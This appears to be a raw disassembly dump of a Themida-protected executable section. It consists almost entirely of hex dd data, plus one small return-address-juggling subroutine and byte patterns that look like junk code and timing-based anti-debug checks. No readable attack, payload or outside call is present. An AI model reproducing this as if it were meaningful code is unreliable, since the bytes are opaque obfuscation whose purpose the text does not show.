397B4BBFh, 89006A35h, 100A41BDh, 0C6096806h dd 52502ABBh, 6E9h, 0A3D78200h, 0FAD8EB2h, 0D557BF31h dd 585A4108h, 0F6243481h, 6A2AA4C5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 517EC350h dd 0B88FB2Fh, 860F73A6h, 13h, 0CE951h, 99100000h, 0A91CAABDh dd 95FA85CFh, 0FF5FBC3Dh, 1005D595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0BA25A273h dd 8B30E85Dh, 1031719Dh, 6D858906h, 6A0613C2h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 8D58C357h, 9B7F9880h, 0D43AE8C7h, 1E2E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 501453Fh, 6D439BCBh, 89F7BB66h, 0C265858Bh, 0DA8A0613h dd 1800C7h, 0BD8B0000h, 6100051h, 0C269B58Bh, 6A0613h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 4EBA9CC3h, 360DC9CEh, 9D890040h, 6100E71h, 0E25858Bh dd 95310610h, 6100975h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0D2E2F1C3h, 50777C2Bh dd 8BEE4810h, 1023D99Dh, 85858B06h, 0B061021h, 102DE1BDh dd 4468906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 13C35040h, 0C5823FF8h, 664C5818h, 0B0BBE381h, 0C2BB5250h dd 5F42DE5Eh, 29243489h, 1015B585h, 65B5FF06h, 6A0613C2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 993C355h, 0A30067D6h, 89F92BE5h, 10191D95h dd 54FB6806h, 0BF66D1CFh, 48165EFh, 4FAF0424h, 0DE8B662Eh dd 0C26D858Dh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 9FF579C3h, 0A5B58957h, 5F061005h dd 9088BF66h, 10E850h, 862C0000h, 0AC888682h, 52735C8Ch dd 5118F04h, 11E9EC5Bh, 75000000h, 0E4490693h, 25F7E0D5h dd 6C98F7FDh, 1E5BDF95h, 2404895Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0E5C35545h, 68AA81EEh, 9589C0F4h dd 6101FA9h, 4860Fh, 0BF660000h, 95FFCFB9h, 61005D5h, 0E9DE8B66h dd 13h, 7B10B9D1h, 8F10ED05h, 0C9DB116Dh, 0B3CA29B0h, 6117B559h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 46C35141h dd 0BD8BC0F9h, 6102ACDh, 22C185C7h, 30610h, 0BD8B0000h dd 6101DD1h, 0D939E781h, 0BD831D9Ah, 613C26Dh, 1A840F00h dd 0F8000000h, 2FE9h, 9D016000h, 6101BE1h, 68B0Fh, 9D8B0000h dd 61013BDh dd 0C305061h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0BFDE8B66h, 320BC985h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 65C35242h, 22C1BD83h, 0F030610h dd 3C885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 8C7609F3h, 0BD830AEEh, 613C26Dh dd 9A840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0D34EC353h, 88D9D89h dd 0B5FF0610h, 613C26Dh, 17059D8Bh, 95FF0610h, 6102FA5h dd 0C261B58Bh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0CFA2ADC3h, 5026E484h, 81666029h dd 0F8281C0h, 488h, 70B96600h, 95896153h, 61001E9h, 106C7h dd 8B660001h, 11E850DAh, 95000000h, 8100951Fh, 0BF4DB9C4h dd 2A726C9Fh, 86F04F6Ch, 6850Fh, 52500000h, 585A310Fh dd 2434895Bh, 1705BD8Bh, 0B5FF0610h, 613C26Dh, 208DBD89h dd 95FF0610h, 6101225h, 7BDB8166h, 61B58B00h, 660613C2h dd 0AA40EB81h, 21D1858Bh, 2B70610h, 0C48689h, 5EBB0000h dd 8B723D8Ch, 1009F595h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0F1C1FFC7h, 72CF810Eh dd 83548487h, 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0B7CA75C3h, 20508926h, 1B899D8Bh dd 8D890610h, 6103169h, 0D7C2858Dh, 8B660613h, 0B88689FEh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 8E62C356h, 0FDB44C9Dh, 8BBF8B30h dd 1023E19Dh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 6AD7C357h, 9EB87DF6h dd 6509D07Dh, 2935BD89h, 0B5FF0610h, 613C26Dh, 14E9h, 0F926AF00h dd 0E7F8ABE0h, 0D9F8DDF3h, 0BD9F56AEh, 0C2D31900h, 9595FFF8h dd 0E9061004h, 5, 0DD1F8D71h, 5E9960Ch, 56000000h, 0A7C6B309h dd 0E9CDBB50h, 6A965690h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 6887C352h, 0BF0EF22Bh dd 0FD8A596h, 687h, 0E1B58900h, 8B061007h, 1028459Dh, 6DB5FF06h dd 6A0613C2h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8B37C350h, 1022759Dh, 39958906h dd 0FF061011h, 10162D95h, 0BD9D8906h, 83061027h, 101351BDh dd 840F0006h, 4Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 63C35545h, 1C10042Dh, 0FC1B70Fh, 5096F8BFh dd 0AE8h, 14963C00h, 0FE0E2389h, 0E9016B9Eh, 0Bh, 5FF120F9h dd 277B3A09h, 5F7C9B86h, 19953196h, 0FF061008h, 13C26DB5h dd 0F1958906h, 0FF06101Eh, 100C1995h, 0CE906h, 3F0C0000h dd 88482A76h, 0A956E02Eh, 0B5FF1DB1h, 613C26Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EFC35646h, 0E05416AAh dd 47F2DA7Ch, 1CCD8D89h, 95FF0610h, 6101621h, 9E8h, 18E62900h dd 0FCE8C9C3h, 0B70F95CDh, 0BD835BF9h, 6100F89h, 62840F02h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 1C9C353h, 100901B5h, 0C5858B06h dd 31061010h, 102829BDh, 0C606h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 34C35545h, 115C13Bh, 60AE6675h dd 2E558589h, 9D8B0610h, 610096Dh, 2585C761h, 6102Ah, 8B000000h dd 101EE9BDh, 0F3C1E906h, 0C18BFFFFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0FAC35242h, 8E6E26CAh, 2A199D03h dd 858D0610h, 61013B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0A7C35545h, 9A254204h, 2EDD8529h, 0F500610h dd 481h, 0B4BF6600h, 2404895Eh, 0E47961BFh, 6A006A2Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0F4CBC351h, 0BA1B185h, 100C6DBDh, 0E9BD8B06h dd 6A061000h, 0A19D8B00h, 8D061016h, 14609D85h, 0DE8B6606h dd 0E905C083h, 8, 1F6DC559h, 543B39FDh, 0F208BB66h, 4880F90h dd 50000000h, 505FD98Bh, 0AFB3BB66h, 5850F90h, 66000000h dd 377EDB81h, 0B61B589h, 6A0610h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 9EC35040h, 0D0C38166h, 6A006A38h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 871AC352h, 9D7A02A8h, 1D1995FFh, 8D090610h dd 6102D59h, 0AFD88D8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 8BAD16C3h, 0ED5E811Ah dd 0BF261D9Bh, 1D7B2107h, 0F88BD1FFh, 0E54FBF66h, 2209BD83h dd 0F010610h, 4F85h, 830F00h, 6A000000h, 0E9B52902h, 50061022h dd 48926B3h, 0FAB70F24h, 49595FFh, 6A0610h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7F84BC3h dd 642B7AE8h, 605121ADh, 0E6C8A2BBh, 59BD0132h, 6106102Dh dd 0EACE9h, 0E800h, 815D0000h, 1460A7EDh, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 2A94970Ch, 848EABBEh, 9D8BEB75h, 6100B99h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E7C35040h, 858DF3CFh dd 61399B6h, 90DF8B66h, 0B840Fh, 6E90000h, 0CF000000h dd 7187E9FDh, 800F502Ah, 5, 989BC7BFh, 6A9007h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 758E8AC3h, 0C1B25C3Dh, 35CF812Eh, 6424352Bh, 35FFh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 7A67A0C3h, 1C8C0F00h, 0E8000000h, 10h, 0E5702604h dd 616961DAh, 59CFCD5Eh, 6AE916C9h, 1191BD89h, 645B0610h dd 2589h, 9D0B0000h, 6100B3Dh, 10E9h, 0CA51F300h, 0FC85C14Bh dd 0F547EC78h, 7EB3A19Dh, 1985FF9Bh, 0F061014h, 0FF6ADFBFh dd 15C9BD89h, 0B5FF0610h, 6101211h, 0FE9h, 33117500h, 0EE73B898h dd 7763D9E7h, 3AE1C61h, 61595FFh, 0ECE90610h, 89000000h dd 102D45B5h, 8D8B6006h, 6100E11h, 0A722D181h, 0B0610280h dd 95BD8B00h, 0E6061021h, 0E433B770h, 299D3171h, 3C06100Ah dd 0BC830F61h, 0B000000h, 1001FDBDh, 0C8B60F06h, 1A9DBD8Bh dd 6BA0610h, 89000000h, 101C0D9Dh, 81C18B06h, 67A115D3h dd 4E8C11Bh, 0A5C18160h, 0F07FC62h, 6661D1B7h, 9D8BE2F7h dd 6100C71h, 0D18BC82Bh, 0A2D9D33h, 0D88A0610h, 13E9h dd 319D0B00h, 60061005h, 0B7F08166h, 598D8B8Fh, 61061014h dd 2D89858Bh, 0BB660610h, 0C0839B93h, 0C083F507h, 0A9B58900h dd 3B06102Eh, 11830FD0h, 8B000000h, 10238D9Dh, 35E906h dd 9D8B0000h, 6102181h, 5298D8Bh, 9D8B0610h, 6100045h dd 0F01E183h, 1A84h, 0A583FC00h, 6100529h, 0D5BB66FEh dd 89958991h, 0F06102Dh, 0E9DEBFh, 8D000000h, 13F3BDB5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0CCEFA66Fh, 3C3737B8h, 0FF5AC78h, 6AFEBFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 47C35343h dd 0B686683Ch, 66F47D9Ah, 5220E781h, 5AC78166h, 0C995FF04h dd 8B061031h, 102AE19Dh, 8BCB906h, 0BF0F0000h, 0FCE183D8h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 57C35343h dd 0D27244AEh, 89AD435Bh, 1027F5B5h, 9D0BFC06h, 6100A75h dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0EE180B0Ah, 50CC87BEh, 8B661E5Fh dd 358D89DEh, 2B06101Bh, 50006AD2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 67024F2Eh, 0ADFFB70Fh dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0FA05C351h dd 8AA06C15h, 0EB8166FEh, 0BF0F33C1h, 880DDEh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0CB7942C3h, 265CF1DFh, 8BF91A58h, 1009F595h, 8C0F06h dd 8B000000h, 1023198Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0B4766111h, 8B506AEFh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 16959D8Bh dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 46AE49C3h, 4D103B85h, 11E18D29h, 0BD830610h dd 6101E29h, 3E840F00h, 0B8000000h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_59192B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59192B proc near ; CODE XREF: Themida_:00591923p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_59192B endp ; --------------------------------------------------------------------------- db 17h dd 0D3AA5AEDh, 0AF8ACF81h, 8D8D3F5Ch, 6104E85h, 1EC38166h dd 89E1FFF4h, 100EDD95h, 0C1BD8306h, 61022h, 4CD840Fh dd 0BD830000h, 61022C1h, 0DB840F01h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 92E5C351h, 1F5F971Dh, 0E94F29FFh, 14h, 446C39F4h, 70DD7B08h dd 0D3405F32h, 0D17753DBh, 51467290h, 0FE9h, 12D58E00h dd 50B68C3Eh, 0AC38319h, 4AF45A2Fh, 22C1BD83h, 0F030610h dd 44786h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 1E419516h, 8B205336h, 8589994Fh dd 61016A9h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 7A298084h, 99D2350h, 5B06102Eh, 80D98C66h dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0C0CFBEC3h, 6653B8B5h, 5B3E8CBFh, 840FC90Ah dd 145h, 93DBD8Bh, 0DE90610h, 5D000000h, 0E254889Eh, 21751A97h dd 7AB3FD49h, 2185858Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 3870C3C3h, 60B10229h dd 0DE960h, 0BD310000h, 9B2F7172h, 0E2B1F457h, 61541512h dd 0FD853361h, 6A061011h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 5F82C351h, 59E1C850h dd 0C53FB1DBh, 16959D8Bh, 0F900610h, 0A87h, 48D0F00h, 66000000h dd 50440CBBh, 140F1BBFh, 0BD299076h, 610233Dh, 0CE9006Ah dd 0FD000000h, 9EB293A1h, 0DB0183F7h, 68C60D59h, 0F4C4D6Ch dd 0C8C0Fh, 880F0000h, 6, 8B0Fh, 34810000h, 534E9324h dd 55006A0Fh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D5691D84h, 8C8F4953h, 0D595FFB1h, 0E9061005h dd 7, 0A5DD8EA2h, 89488ADDh, 13C26D85h, 0E9DA8B06h, 7 dd 4F85521Ah, 0E94AD773h, 211h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0C5C35040h, 4396E534h, 65858BF9h dd 8B0613C2h, 102D19BDh, 1800C706h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 5FCBC357h, 0D1E88423h, 2CCE7B83h, 8BD8BF0Fh, 1027F5BDh dd 0BABF6606h, 69B58BF8h, 0E90613C2h, 14h, 5AED1702h, 0AA65D3AAh dd 0DAB04454h, 873DAE4Eh, 0ADEE1945h, 0A2DCBB66h, 0E25858Bh dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 35FA25C3h, 825E818h, 8166EE72h, 892A3BEFh dd 8E806h, 0D5FD0000h, 0BD1B2B0Fh, 18BB66A4h, 5F309024h dd 2185858Bh, 10E80610h, 3C000000h, 2DD0C1FCh, 0DD8F00A3h dd 52FB89BCh, 0BF312C7Ch, 61DD658h, 446895Fh, 96DFB70Fh dd 9D0BBB51h, 505B4159h, 2AC38196h, 0FF28DFE5h, 13C265B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8BC9C722h, 4E8DAh, 3FF0000h, 0F50001Fh dd 1B8Eh, 50525000h, 5A310F52h, 0E8310F58h, 9, 0D0CE97F6h dd 0CE3EC430h, 585A5FF9h, 424448Bh, 0BE860h, 0F0540000h dd 0A69ED355h, 0C3153BA8h, 0F525074h, 5F585A31h, 0BF008B61h dd 60D3D7DDh, 4244489h, 8AB55760h, 6A586158h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0F0DDC356h, 0F2BC1064h, 6610189h, 941BD29h, 858D0610h dd 613C26Dh, 5E8h, 916F9800h, 0D3817217h, 276C8B4Eh, 8B66905Bh dd 6A9050FAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch db 44h, 24h word_591D5A dw 1504h ; DATA XREF: Themida_:0054C9EDo dd 47000000h, 516C357h, 2819BD33h, 95FF0610h, 61005D5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 63C35242h dd 9D8B61F1h, 61015A9h, 22C185C7h, 30610h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0C06826C3h, 3B0C8314h, 0B70FD88Ah, 6DBD83DEh, 613C2h dd 46840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 63739BC3h, 15BD89D1h, 0E906102Ah dd 37h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 82C35141h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 0FC08B00h, 68Fh, 5BD8B00h, 66061017h, 0BD83DA8Bh, 61022C1h dd 850F03h, 6A000005h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F07BC355h, 67000B12h dd 0D614A51Ah, 201DB589h, 0BD830610h, 613C26Dh, 0C8840F00h dd 0BB000004h, 30C20F8Dh, 0C26DB5FFh, 8F0F0613h, 6, 0FDE9D381h dd 95FF1185h, 6102FA5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 7DC35747h, 7094B5C4h, 0BF66B2E3h, 0B58B43AFh dd 613C261h, 2795BD0Bh, 6C70610h, 10001h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FBC35242h, 0BBA8262Ch dd 0EB2D285Ah, 9D9D8B3Ch, 96061008h, 3CE2F0BFh, 5056501Ch dd 0D88B6652h, 14E9310Fh, 91000000h, 158DB7B7h, 62D885A5h dd 42112224h, 78C933F0h, 5A2B87B3h, 6A965B58h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 4B1FC356h, 0C61C3944h, 732E6D9Ah, 14E59D89h, 9D8B0610h dd 61013F1h, 0C26DB5FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0E9ADDCC3h, 13793A17h dd 8A0Fh, 0E9570000h, 0Dh, 4E1176C4h, 0E2CD433Bh, 0A2640AD6h dd 95FF5FE0h, 6101225h, 0C261B58Bh, 6A0613h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0E02042C3h dd 0F165E48h, 1881h, 13E900h, 0D3A80000h, 87EFA7E3h, 0C681227h dd 0FCBB8AEEh, 9223ED56h, 0D1858B7Bh, 6A061021h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 40D2C356h, 4DB460Ch, 0C48689h, 95090000h, 6100B09h dd 9F5958Bh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0FF8542C3h, 80D8033Fh, 0C2839EB3h dd 13E904h, 4FCD0000h, 0AA95E9ABh, 0C78C25A4h, 0DDE4D183h dd 0EE305AB3h, 20508966h, 1BAFBB66h, 0D7C2858Dh, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 721172C3h, 9554E1DDh, 89FB40F7h, 10284D95h, 0B8868906h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 2038C355h, 51D0806h, 0BD23FB8Bh dd 6101F31h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0BA5B0BC3h, 0A32F49B3h, 66160F0Ah dd 0B5FFF98Bh, 613C26Dh, 0DEDBD8Bh, 95FF0610h, 6100495h dd 1F3D8D89h, 0E8500610h, 0Eh, 0E01A88B4h, 0B0F55082h dd 3B38F2A5h, 0BF669E85h, 895B08D8h, 6E92434h, 0B1000000h dd 6B4E41E5h, 0C19D0391h, 0FF061016h, 13C26DB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0D300FD4h, 5DE943B7h, 6E8h, 0B4753F00h, 0B32C96E4h dd 95FF5FFCh, 610162Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0A0C35747h, 9D2B62FAh, 6100935h, 56DB8166h dd 51BD83DCh, 61013h, 3E840Fh, 81660000h, 50A57FD3h, 0FE8h dd 387A2F00h, 547BCF3h, 0BAF48AF1h, 0CF297F76h, 0BFE7BF66h dd 2434895Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 17C35747h, 0C26DB5FFh, 6A0613h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0E58AD8C3h dd 0D4193BACh, 60CB2B9Fh, 14E8h, 52D21300h, 0FB4ED10Dh dd 0E1BDC699h, 5BB830B4h, 24273911h, 7E811h, 45930000h dd 0CE87A01Dh, 0F85F5EC0h, 1995FF61h, 0F06100Ch, 148Ah dd 0BD896000h, 61006F5h, 7E9h, 9DC34C00h, 36918C6Fh, 8E861h dd 5E1D0000h, 28A48F51h, 0FA8BA147h, 6DB5FF5Fh, 6A0613C2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 15CC352h, 0F33FAFFEh, 0F81BC95h, 0B70FF8B7h dd 2195FFFBh, 6A061016h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 8983C352h, 9D8B69B0h dd 6100FB5h, 0F89BD83h, 0F020610h, 6284h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 5A1909CCh, 8B6B043Eh, 1010C585h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 53946ECCh dd 0BE9101Eh, 0F2000000h, 0CA50F18Bh, 34097184h, 0C6FBC9h dd 1DBD8B00h, 0C7061013h, 102A2585h, 6, 919D8B00h, 0E9061013h dd 0FFFFF29Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0BCC35545h, 833D92C5h, 5DE0FB87h, 89C18B86h, 100C29B5h dd 0B9858D06h, 2B061013h, 102DBDBDh, 8B509006h, 816690FBh dd 6AF218DBh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 8EADAB33h, 0CDC98ED6h, 1D858980h dd 50061019h, 1659D8Bh, 6A5F0610h, 0B5896000h, 61016DDh dd 0AAD9D33h, 8D610610h, 14716885h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 89F9FA91h dd 101DFD8Dh, 5C08306h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 70C35141h, 0D1BD0B4Eh, 0B306100Dh, 4895066h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 85B61DCh, 33A58FD8h, 1015919Dh, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 74F7C353h, 14BAA2C6h, 9D8BD0FDh, 61030A5h dd 0B0BB006Ah, 0FF3DB34Eh, 101D1995h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E9B04A92h, 0Fh, 0B9F7247Dh, 9AC3134Eh, 35051338h, 8D77FE19h dd 13AFD88Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0B9C348CBh, 1A7B6F82h, 0EDBF66D1h dd 0CD9589CBh, 0FF06102Eh, 1A870FD1h, 60000000h, 12E9F8h dd 7CAA0000h, 0CFB24AC4h, 9663C294h, 8E795FE1h, 91EBF02Ah dd 9BD8361h, 1061022h, 75850Fh dd 0B5290000h, 6102275h, 6A026Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 152623C3h, 0D2E35080h dd 0D7816682h, 8166C4F5h, 509139CBh, 2870Fh, 4B70000h dd 0FF240489h, 10049595h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0D8094D0Bh dd 9E8h, 0FE4DBE00h, 851C6643h, 0E95FB529h, 0D5Fh, 0E8h dd 0ED815D00h, 6147172h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0EC35646h, 14E912FDh, 0CD000000h, 102624E6h dd 6692444Eh, 9A4ECE8Dh, 9AD28B65h, 89D2BDD1h, 100B61B5h dd 0B6858D06h, 6A061399h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 665EC355h, 504630BFh dd 0DCA0BB51h, 895F437Ch, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 9D03EEC3h, 6100715h dd 0D5BD0156h, 5B06101Eh, 35FF64h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F44C357h, 8E0FDFBFh, 8, 0A5B58950h, 5F06101Eh, 258964h dd 60000000h, 61D58AF9h, 141985FFh, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 6AF55AC3h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0FBFD4112h, 0C37D23A6h, 0F2BF665Ch, 0EDB5FFC0h dd 3061011h, 1031699Dh, 1595FF06h, 0E9061006h, 11Dh, 0B0DD8Ah dd 11860Fh, 0CE90000h, 5A000000h, 3E48C00Ch, 371F276Ah dd 0E62FB814h, 0CBB6670h, 0F71E41Ah, 613CFFB7h, 0EF830Fh dd 7E80000h, 85000000h, 4AD7734Fh, 8166D243h, 5F4DD5DFh dd 8BC8B60Fh, 102395BDh, 6BA06h, 95010000h, 6102105h, 8166C18Bh dd 0F89960DFh, 2B04E8C1h, 100A619Dh, 0E2F76606h, 0C82BDE8Ah dd 9E9h, 43ECF400h, 88E8058Ch, 0D18BEC4Eh, 0E69B589h, 0EE90610h dd 0F000000h, 885h, 2820F00h, 8B000000h, 5858BD8h, 0F061001h dd 884h, 95895100h, 610004Dh, 7C0835Bh, 0E359D8Bh, 0C0830610h dd 5654BF00h, 0D03B22D5h, 13830Fh, 0E9F80000h, 55h, 8A24BB56h dd 295B334Ch, 10045DB5h, 18D8B06h, 0F061028h, 386h, 0BCE78000h dd 0F01E183h, 3084h, 62BB6600h, 1A5837Ch, 0FE061028h, 21518531h dd 95890610h, 6100105h, 0CE8h, 54E63D00h, 0E2D64AB0h, 89E84C91h dd 5FFA8ABFh, 0E9h, 0A8B58D00h, 6A0613FEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 5E3AC350h dd 6A0960D0h, 9D895300h, 6102005h, 0C995FF5Fh, 60061031h dd 7EDFA8B8h, 62B96174h, 8B000009h, 1012C99Dh, 0FCE18306h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A6C35747h dd 4A36F75Bh, 895F57FCh, 101B899Dh, 5E906h, 693D0000h dd 0FC17D535h, 35BD8B52h, 5F06102Fh, 9509C02Bh, 6102FA9h dd 11E8D22Bh, 36000000h, 0E03115F1h, 23319673h, 337B3676h dd 7C1DA9EAh, 0F35DBF66h, 0C233AD5Fh, 0D003E8D1h, 7504E983h dd 0D8D780F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0B1C35747h, 664CA9DBh, 